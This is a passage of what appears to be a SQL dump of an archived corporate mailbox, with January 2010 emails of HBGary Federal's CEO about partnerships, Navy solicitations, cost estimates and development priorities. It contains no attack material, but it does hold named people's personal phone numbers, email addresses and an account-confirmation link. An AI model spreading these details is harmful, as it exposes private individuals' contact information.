Up','Good morning Aaron.  I hope you and your family had a nice New Year\r\ncelebration.\r\n\r\nWell, as happens all too often when dealing with the USG, that project\r\nseems to be in a \"holding pattern\".  After having the customer request\r\nwe meet with them to discuss specifics of their requirements, during\r\nwhich they expressed their \"desperation\" to get something going soonest,\r\nsome Group level Executive Officer with an axe to grind has put the\r\nbrakes on citing potential inappropriateness of sole sourcing the\r\neffort.  They indicated they wanted us to brief senior management on our\r\nplan/approach, but we haven\'t heard back from them on a specific date\r\nyet.\r\n\r\nThat said, and while we\'re still hopeful we\'ll see movement on this\r\nproject eventually, there are other projects we\'re working up that would\r\nbenefit from an HBGary presence.\r\n\r\nDon\r\n\r\n> -------- Original Message --------\r\n> Subject: Catching Up\r\n> From: Aaron Barr \r\n> Date: Wed, January 20, 2010 8:31 am\r\n> To:  \r\n> Hey Don,\r\n> Happy New Year.\r\n> Just checking in to see if you had heard any word on some of the work you were talking about that we might be a good fit for?\r\n> Aaron\r\n\r\n',16210,'aaron_hbgary_com/16210.html'),(1267,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000292.M153837P3547Q1267.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Catching Up','FYIFrom my iPhoneBegin forwarded message:From: &lt;don@hypervista-tech.com&gt;\r\nDate: January 20, 2010 10:31:09 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Catching Up\r\nGood morning Aaron.  I hope you and your family had a nice New Yearcelebration.Well, as happens all too often when dealing with the USG, that project\r\nseems to be in a &quot;holding pattern&quot;.  After having the customer requestwe meet with them to discuss specifics of their requirements, duringwhich they expressed their &quot;desperation&quot; to get something going soonest,\r\nsome Group level Executive Officer with an axe to grind has put thebrakes on citing potential inappropriateness of sole sourcing theeffort.  They indicated they wanted us to brief senior management on our\r\nplan/approach, but we haven&#39;t heard back from them on a specific dateyet.That said, and while we&#39;re still hopeful we&#39;ll see movement on thisproject eventually, there are other projects we&#39;re working up that would\r\nbenefit from an HBGary presence.Don-------- Original Message --------Subject: Catching Up\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Date: Wed, January 20, 2010 8:31 am\r\nTo: &lt;don@hypervista-tech.com&gt; &lt;don@hypervista-tech.com&gt;\r\nHey Don,Happy New Year.Just checking in to see if you had heard any word on some of the work you were talking about that we might be a good fit for?\r\nAaron\r\n',853,'aaron_hbgary_com/853.html'),(1268,'2010-01-20','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000292.M490953P3547Q1268.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 	4:30pm (msteckman@palantirtech.com)','',14610,'aaron_hbgary_com/14610.html'),(1269,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000292.M748815P3547Q1269.eml','\"John Farrell\" <john@endgames.us>','Re: Endgames / HB Gary Federal','Hi John,\r\n\r\nYou mentioned a few other companies and reports I was wondering if you could send those to me.  Thanks,\r\nAaron\r\n\r\nOn Jan 19, 2010, at 4:22 PM, John Farrell wrote:\r\n\r\n> Great meeting you. Look forward to advancing this relationship!\r\n> \r\n> Just confirmed other meeting for Wed morning. Can we do Tuesday afternoon or Wed afternoon with you and your CTO? Maybe Palantir after that. Thanks\r\n> \r\n> John\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: John Farrell\r\n> Sent: Tue Jan 19 10:46:25 2010\r\n> Subject: Re: Endgames / HB Gary Federal\r\n> \r\n> Sure thing.\r\n> \r\n> Greenberry Coffeehouse\r\n> 6839 Redmond Dr\r\n> Mc Lean? VA\r\n> United States\r\n> \r\n> From my iPhone\r\n> \r\n> On Jan 19, 2010, at 11:43 AM, John Farrell  wrote:\r\n> \r\n>> Aaron,\r\n>> It was good speaking with you. I look forward to meeting you at\r\n>> 230pm today. Please send me the address for the office or coffee\r\n>> shop and I\'ll see you there. Thanks\r\n>> John\r\n>> John M Farrell\r\n>> VP Federal, Endgame Systems\r\n>> 703.622.9025 M\r\n>> \r\n>> ----- Original Message -----\r\n>> From: John Farrell\r\n>> To: aaron@hbgary.com \r\n>> Cc: Chris Rouland\r\n>> Sent: Tue Jan 19 08:11:53 2010\r\n>> Subject: Re: Endgames / HB Gary Federal\r\n>> \r\n>> Can you call me and we can discuss? Thanks\r\n>> John\r\n>> 7036229025\r\n>> John M Farrell\r\n>> VP Federal, Endgame Systems\r\n>> 703.622.9025 M\r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: John Farrell\r\n>> Cc: Chris Rouland\r\n>> Sent: Tue Jan 19 06:56:52 2010\r\n>> Subject: Re: Endgames / HB Gary Federal\r\n>> \r\n>> Hi John,\r\n>> \r\n>> What does your week look like, maybe we can find some time to get\r\n>> together.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Jan 14, 2010, at 4:31 PM, Chris Rouland wrote:\r\n>> \r\n>>> John,\r\n>>> \r\n>>> I wanted to introduce you to Aaron Barr, the CEO of HBGary\r\n>>> Federal.  This is a new company spun out of HB Gary focused on\r\n>>> classified government services in our space.  Aaron may have an\r\n>>> opportunity to work with us on a Cayman/Corsica data feed for the\r\n>>> Army, as well as a few others.  Hopefully you guys can get together\r\n>>> face to face soon in DC.\r\n>>> \r\n>>> Thanks,\r\n>>> \r\n>>> Chris\r\n>>> \r\n>>> --\r\n>>> Chris Rouland\r\n>>> CEO\r\n>>> Endgame Systems\r\n>>> chris@endgames.us\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',153,'aaron_hbgary_com/153.html'),(1270,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000292.M949076P3547Q1270.eml','\"<don@hypervista-tech.com>\" <don@hypervista-tech.com>','Re: Catching Up','Wow.  I have never heard that story before, ever.  No worries, just crossing all my Ts.  I am sure there will be more opportunities to come.\r\n\r\nWhen appropriate I would like to discuss more what we might be able to do together on the mobile side.  Creating capabilities on both sides of the fence so to speak.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 20, 2010, at 10:31 AM,   wrote:\r\n\r\n> Good morning Aaron.  I hope you and your family had a nice New Year\r\n> celebration.\r\n> \r\n> Well, as happens all too often when dealing with the USG, that project\r\n> seems to be in a \"holding pattern\".  After having the customer request\r\n> we meet with them to discuss specifics of their requirements, during\r\n> which they expressed their \"desperation\" to get something going soonest,\r\n> some Group level Executive Officer with an axe to grind has put the\r\n> brakes on citing potential inappropriateness of sole sourcing the\r\n> effort.  They indicated they wanted us to brief senior management on our\r\n> plan/approach, but we haven\'t heard back from them on a specific date\r\n> yet.\r\n> \r\n> That said, and while we\'re still hopeful we\'ll see movement on this\r\n> project eventually, there are other projects we\'re working up that would\r\n> benefit from an HBGary presence.\r\n> \r\n> Don\r\n> \r\n>> -------- Original Message --------\r\n>> Subject: Catching Up\r\n>> From: Aaron Barr \r\n>> Date: Wed, January 20, 2010 8:31 am\r\n>> To:  \r\n>> Hey Don,\r\n>> Happy New Year.\r\n>> Just checking in to see if you had heard any word on some of the work you were talking about that we might be a good fit for?\r\n>> Aaron\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6329,'aaron_hbgary_com/6329.html'),(1271,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000293.M299771P3547Q1271.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 	4:30pm (msteckman@palantirtech.com)','Hey Matt,\r\n\r\nAny progress on the quote for our partnership?  Once I get that I think we are ready to go to get it released.\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jan 20, 2010, at 10:35 AM, Matthew Steckman wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',905,'aaron_hbgary_com/905.html'),(1272,'2010-01-20','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000293.M489931P3547Q1272.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 	4:30pm (msteckman@palantirtech.com)','Lisa, CCed, has the final draft.  She is in a meeting on the Hill right now, when she gets out she\'s reviewing it and will send it back to you.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 20, 2010 11:38 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 4:30pm (msteckman@palantirtech.com)\r\n\r\nHey Matt,\r\n\r\nAny progress on the quote for our partnership?  Once I get that I think we are ready to go to get it released.\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jan 20, 2010, at 10:35 AM, Matthew Steckman wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10513,'aaron_hbgary_com/10513.html'),(1273,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000293.M667423P3547Q1273.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Fwd: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 	4:30pm (msteckman@palantirtech.com)','Almost ready.Begin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date: January 20, 2010 11:40:35 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Lisa Gordon &lt;lgordon@palantirtech.com&gt;Subject: RE: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 	4:30pm (msteckman@palantirtech.com) Lisa, CCed, has the final draft. &nbsp;She is in a meeting on the Hill right now, when she gets out she\'s reviewing it and will send it back to you.Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, January 20, 2010 11:38 AMTo: Matthew SteckmanSubject: Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 4:30pm (msteckman@palantirtech.com)Hey Matt,Any progress on the quote for our partnership? &nbsp;Once I get that I think we are ready to go to get it released.Thanks,AaronOn Jan 20, 2010, at 10:35 AM, Matthew Steckman wrote:&lt;Mail Attachment.ics&gt;Aaron BarrCEOHBGary Federal Inc.',12851,'aaron_hbgary_com/12851.html'),(1274,'2010-01-20','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000293.M856193P3547Q1274.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm -  4:30pm (msteckman@palantirtech.com)','Great -- thanks Aaron.--- On Wed, 1/20/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 4:30pm (msteckman@palantirtech.com)To: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, January 20, 2010, 8:52 AM\r\nAlmost ready.\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nDate: January 20, 2010 11:40:35 AM EST\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Lisa Gordon &lt;lgordon@palantirtech.com&gt;\r\nSubject: RE: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 4:30pm (msteckman@palantirtech.com)\r\n\r\nLisa, CCed, has the final draft. &nbsp;She is in a meeting on the Hill right now, when she gets out she\'s reviewing it and will send it back to you.Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, January 20, 2010 11:38 AMTo: Matthew SteckmanSubject: Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 4:30pm (msteckman@palantirtech.com)Hey Matt,Any progress on the quote for our partnership? &nbsp;Once I get that I think we are ready to go to get it released.Thanks,AaronOn Jan 20, 2010, at 10:35 AM, Matthew Steckman wrote:\r\n&lt;Mail Attachment.ics&gt;Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',11814,'aaron_hbgary_com/11814.html'),(1275,'2010-01-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000294.M221494P3547Q1276.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Barr Aaron\" <aaron@hbgary.com>','Business Opportunities','Hi Brian,\r\n\r\nHave you seen these Navy opps?  Aaron and I were thinking that the\r\nfirst one may be a good opportunity for us to integrate HBGary\r\nsolutions with Palantir (and potentially a couple of others, such as\r\nEnd Game).\r\n\r\nTake a look and tell me what you think.  Congrats on the baby, mom and\r\nchild both doing well?\r\n\r\nTed\r\n\r\n\r\nComputer Network Defense\r\nSolicitation Number: 10-004\r\nAgency: Department of the Navy\r\nOffice: Office of Naval Research\r\nLocation: ONR\r\nAdded: Jan 07, 2010 6:26 pm\r\nThe Office of Naval Research seeks innovative proposals for\r\ntechnologies that support \"pro-active cyber network defense and\r\ninformation assurance\" which can be adapted and integrated into an\r\nadvanced prototype offering leading edge capabilities. This advanced\r\nprototype will ensure maximum continuity of cyber operations and\r\navailability of national assets and data during cyber conflict. The\r\nprototype will lead to new concepts for protecting data traversing the\r\nDepartment of the Navy (DON) networks and will provide decision\r\nmanagement, intelligent decision aids, data fusion and correlation,\r\nand visualization capabilities.\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=0ef20b2becbd71237724cda0eeddfe7f&tab=core&_cview=0\r\n\r\n___________________\r\n\r\n\r\nA -- C4ISR, Information Operations and Information Technology Research\r\nSolicitation Number: N66001-10-X-0012\r\nAgency: Department of the Navy\r\nOffice: Space and Naval Warfare Systems Command\r\nLocation: SPAWAR Systems Center San Diego\r\n\r\nAdded: Jan 07, 2010 11:52 am\r\nThe Space and Naval Warfare Systems Center, Pacific (SSC Pacific), is\r\nseekingbasic and applied research and prototype development white\r\npapers and fullproposals in areas relating to the advancement of\r\nCommand, Control,Communications, Computers, Intelligence,\r\nSurveillance, and Reconnaissance(C4ISR) capabilities, enabling\r\ntechnologies for Information Operations andCyber Operations, and\r\nInformation Technology systems. Additional informationabout areas of\r\ninterest to SSC Pacific may be found\r\nathttp://www.spawar.navy.mil/pacific and\r\nhttps://e-commerce.sscno.nmci.navy.mil. Proposed research should\r\ninvestigate uniqueand innovative approaches for defining and\r\ndeveloping next generationintegratable C4ISR capabilities and command\r\nsuites.\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=016316f31c74f699c85e82ed7137465b&tab=core&_cview=0\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',3402,'aaron_hbgary_com/3402.html'),(1276,'2010-01-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000294.M32929P3547Q1275.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Karen','Hi Penny,\r\n\r\nAaron and I are refining our cost estimates and are wondering how much\r\nKaren Burke costs per hour.\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',13270,'aaron_hbgary_com/13270.html'),(1277,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000294.M502496P3547Q1277.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Costs','Brian,\r\n\r\nBig Wag but should get you in the ballpark.\r\n\r\nI think we can integrate data feeds from HBGary, EndGames, Splunk, Netwitness into Palantir and develop a few scenarios for around 100K (maybe a little more...a wag).\r\n\r\n500K gets you some automated response/reaction capability.\r\n\r\n$1-2M gets you tipping and cueing from end to end, proactive security based on threat analysis, integration with other security appliances such as sourcefire, mcafee, etc for complete security solution.\r\n\r\nhows that?  I am working on the powerpoint slides now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',31,'aaron_hbgary_com/31.html'),(1278,'2010-01-20','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000294.M702893P3547Q1278.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Costs','Excellent!\r\nAlso, I got my Tuesday afternoon big idea mtg moved to the morning 9-2.\r\nAre there two mtgs Tuesday afternoon or have you condensed it down to\r\none mtg that you sent the mtg notice for?\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 20, 2010 12:33 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Costs\r\n\r\nBrian,\r\n\r\nBig Wag but should get you in the ballpark.\r\n\r\nI think we can integrate data feeds from HBGary, EndGames, Splunk,\r\nNetwitness into Palantir and develop a few scenarios for around 100K\r\n(maybe a little more...a wag).\r\n\r\n500K gets you some automated response/reaction capability.\r\n\r\n$1-2M gets you tipping and cueing from end to end, proactive security\r\nbased on threat analysis, integration with other security appliances\r\nsuch as sourcefire, mcafee, etc for complete security solution.\r\n\r\nhows that?  I am working on the powerpoint slides now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15537,'aaron_hbgary_com/15537.html'),(1279,'2010-01-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000294.M956163P3547Q1279.eml','all@hbgary.com','Development TOP 5 for Q1',' \r\nAll,\r\n \r\nGlad to announce the dev made the top two requirements for Q4.  The new set of priorities are as follows.\r\n \r\n \r\n\r\nDevelopment Top 5 from Q4:\r\n\r\n#1. Exclusion list for ePO and AD  (DONE)\r\n\r\n#2. Port ePO to Nexus 3 / Partner SDK / new licensing (DONE)\r\n#3.  DDNA Enterprise to &quot;Evidence Processor Milestone&quot;\r\n\r\n#4. Active Defense release\r\n#5.  Digital DNA genomes (aka whitelisting with fuzzy hashing)\r\n\r\n \r\nDevelopment Top 5 for Q1:\r\n\r\n#1. Responder 2.0 Release (final iteration)\r\n#2. Digital DNA genome support, elimination of false positives in Global Threat Genome (GTG)\r\n\r\n#3. 42 LLC integrated EnCase Enterprise Solution\r\n#4. DDNA Enterprise to &quot;Evidence Processor Milestone&quot;\r\n\r\n#5. Active Defense release\r\n \r\n',6137,'aaron_hbgary_com/6137.html'),(1280,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000296.M555291P3547Q1280.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <adbarr@mac.com>','registration','',5792,'aaron_hbgary_com/5792.html'),(1281,'2010-01-20','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000296.M849735P3547Q1281.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','There you go...','http://blogs.siliconvalley.com/gmsv/2010/01/digital-dna-evidence-suggests-chinese-hand-in-google-hack.html\r\n\r\n\r\n From my iPhone\r\n',1947,'aaron_hbgary_com/1947.html'),(1282,'2010-01-20','\"Twitter\" <twitter-confirmation-Aaron=HBGary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297000297.M293369P3547Q1283.eml','Aaron@HBGary.com','Twitter account confirmation','\r\n\r\n  \r\n  a { color: #0084B4}\r\n  a:hover { color: #215e88}\r\n  h1, h2 { margin: 0 0 16px 0; color: #000;}\r\n  h2 { font: 20px Georgia, serif; }\r\n  h3 { margin: 14px 0 4px 0;  color: #000; font: normal 18px Georgia, serif; line-height: 22px; }\r\n  p, ul { margin: 4px 0 15px 0; }\r\n  p { font:13px \'Lucida Grande\', Lucida Grande, Helvetica, Arial, sans-serif; line-height: 18px; }\r\n  .user:after { content: \".\"; display: block; height: 0; clear: both; visibility: hidden;   }\r\n  .user { {display: inline-block;}\r\n  \r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n    \r\n    \r\n      \r\n        \r\n          Hi, HBGaryFed\r\n\r\n\r\nTo confirm your Twitter account, please verify that this email address (Aaron@HBGary.com) belongs to you by clicking this link:\r\n\r\nhttp://twitter.com/account/confirm_email/HBGaryFed/EHC88-3D936\r\n\r\n\r\n\r\nThanks!\r\nThe Twitter Team\r\n\r\n\r\n\r\nWe ask you to confirm your account for security reasons. Learn more\r\n\r\n\r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n',11207,'aaron_hbgary_com/11207.html'),(1283,'2010-01-20','\"Twitter\" <twitter-welcome-Aaron=HBGary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297000297.M474968P3547Q1284.eml','Aaron@HBGary.com','Welcome to Twitter, HBGaryFed!','\r\n\r\n  \r\n  a { color: #0084B4}\r\n  a:hover { color: #215e88}\r\n  h1, h2 { margin: 0 0 16px 0; color: #000;}\r\n  h2 { font: 20px Georgia, serif; }\r\n  h3 { margin: 14px 0 4px 0;  color: #000; font: normal 18px Georgia, serif; line-height: 22px; }\r\n  p, ul { margin: 4px 0 15px 0; }\r\n  p { font:13px \'Lucida Grande\', Lucida Grande, Helvetica, Arial, sans-serif; line-height: 18px; }\r\n  .user:after { content: \".\"; display: block; height: 0; clear: both; visibility: hidden;   }\r\n  .user { {display: inline-block;}\r\n  \r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n    \r\n    \r\n      \r\n        \r\n          Hello, new Twitter-er!\r\n\r\nHere is your account information.\r\n\r\n\r\n  Your username: HBGaryFed\r\n  Your profile: http://twitter.com/HBGaryFed\r\n\r\n\r\nUsing Twitter is going to change the way you think about staying in touch with friends and family. Did you know you can send and receive tweets (Twitter updates) via mobile texting or the web? To do that, you\'ll want to visit your settings page (and you\'ll want to invite some friends).\r\n\r\n\r\n  Activate Phone: http://twitter.com/devices\r\n  Invite Your Friends:  http://twitter.com/invite\r\n\r\n\r\nThe New York Times calls Twitter \"one of the fastest-growing phenomena on the Internet.\" TIME Magazine says, \"Twitter is on its way to becoming the next killer app,\" and Newsweek noted that \"Suddenly, it seems as though all the world\'s a-twitter.\" What will you think? http://twitter.com\r\n\r\n\r\nBiz Stone and The Twitter Team\r\n    http://twitter.com/biz\r\n  \r\n\r\n\r\n\r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n',2763,'aaron_hbgary_com/2763.html'),(1284,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000297.M66112P3547Q1282.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Costs','I am working on securing the other one.  Probably going to be right before but just with EndGames.  I will send out an invite when its set.\r\n\r\nAaron\r\n\r\nOn Jan 20, 2010, at 12:48 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Excellent!\r\n> Also, I got my Tuesday afternoon big idea mtg moved to the morning 9-2.\r\n> Are there two mtgs Tuesday afternoon or have you condensed it down to\r\n> one mtg that you sent the mtg notice for?\r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, January 20, 2010 12:33 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Costs\r\n> \r\n> Brian,\r\n> \r\n> Big Wag but should get you in the ballpark.\r\n> \r\n> I think we can integrate data feeds from HBGary, EndGames, Splunk,\r\n> Netwitness into Palantir and develop a few scenarios for around 100K\r\n> (maybe a little more...a wag).\r\n> \r\n> 500K gets you some automated response/reaction capability.\r\n> \r\n> $1-2M gets you tipping and cueing from end to end, proactive security\r\n> based on threat analysis, integration with other security appliances\r\n> such as sourcefire, mcafee, etc for complete security solution.\r\n> \r\n> hows that?  I am working on the powerpoint slides now.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5909,'aaron_hbgary_com/5909.html'),(1285,'2010-01-20','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297000297.M696145P3547Q1285.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Congratulations','Aaron,\r\nAl is available the following dates and times.\r\n\r\nFriday, 29 January - 9-9:30 am, 11 am - noon, 2-3 pm\r\nFriday, 5 February 9-10 am, 11 am - noon, 2-3 pm\r\n\r\nPlease let me know what works best for you.\r\n\r\nThank you,\r\nIrene Harris \r\nExecutive Assistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice: 703-633-8473 \r\nBB: 703-201-7718 \r\nFax: 703-449-3999 \r\nirene.harris@ngc.com \r\n----------------------------------- \r\n \r\nTASC\r\n4807 Stonecroft Boulevard\r\nChantilly, VA 20151 \r\n\r\n-----Original Message-----\r\nFrom: Pisani, Albert A. \r\nSent: Tuesday, January 19, 2010 4:38 PM\r\nTo: Aaron Barr\r\nCc: Harris, Irene G (TASC Inc); Lovegrove, John (TASC Inc)\r\nSubject: RE: Congratulations\r\n\r\nAaron:\r\n\r\nGood to hear from you.\r\n\r\nI will have Irene set something up.\r\n\r\nLook forward to meeting with you.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 1:06 PM\r\nTo: Pisani, Albert A.\r\nSubject: Congratulations\r\n\r\nHi Al,\r\n\r\nI don\'t think I had yet congratulated you on your move to TASC.  I am\r\nsure some bumpy roads but sounds promising.\r\n\r\nDo you have some time to catch up?  I would like to tell you about some\r\nof the things I am thinking about and working on related to\r\ncybersecurity and information operations.  I am working to put together\r\na cooperative of small, innovative business with complementary\r\ntechnologies as one effort.  I think it could be promising.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16109,'aaron_hbgary_com/16109.html'),(1286,'2010-01-20','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000325.M206875P3547Q1286.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Endgames / HB Gary Federal','\r\n',10149,'aaron_hbgary_com/10149.html'),(1287,'2010-01-20','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000327.M459055P3547Q1287.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bill Hornish\" <bhornish@splunk.com>','virtual introduction','Aaron, Bill, \r\n\r\nAs a follow up to yesterday\'s meeting and calls, I would like to introduce you two and encourage you to get together soon. I\'ve worked with Bill for several years in his capacity with Mantech. He can explain Splunk and how it could support HB Gary Federal\'s business strategy. Additionally, his experience at Mantech may provide you with additional insight into ways you can partner with them too. You two can work out the details directly. Let me know how else I can assist. Talk with you soon. \r\n\r\nJohn\r\n\r\nJohn M. Farrell\r\nVice President, Federal\r\njohn@endgames.us\r\n703.622.9025\r\n\r\n\r\n\r\n',14080,'aaron_hbgary_com/14080.html'),(1288,'2010-01-20','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000327.M731401P3547Q1288.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"John R. Williams\" <johnrw@proinfomd.com>','virtual introduction','Aaron, John,\r\n\r\nAs a follow up to yesterday\'s meeting, please allow me to introduce you two. Aaron is CEO, HB Gary Federal and John is CEO, ProInfo. Based on our discussion, i highly recommend you two meet and talk about your capabilities/products. I think there might be a joint opportunity to work together. I will let you two work the details directly. Let me know how else I can assist. Good luck.\r\n\r\nJohn\r\n\r\nJohn M. Farrell\r\nVice President, Federal\r\njohn@endgames.us\r\n703.622.9025\r\n\r\n\r\n\r\n',1029,'aaron_hbgary_com/1029.html'),(1289,'2010-01-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000328.M33632P3547Q1289.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <adbarr@mac.com>,,,','Re: There you go...',' \r\nGuys,\r\n \r\nWe should start 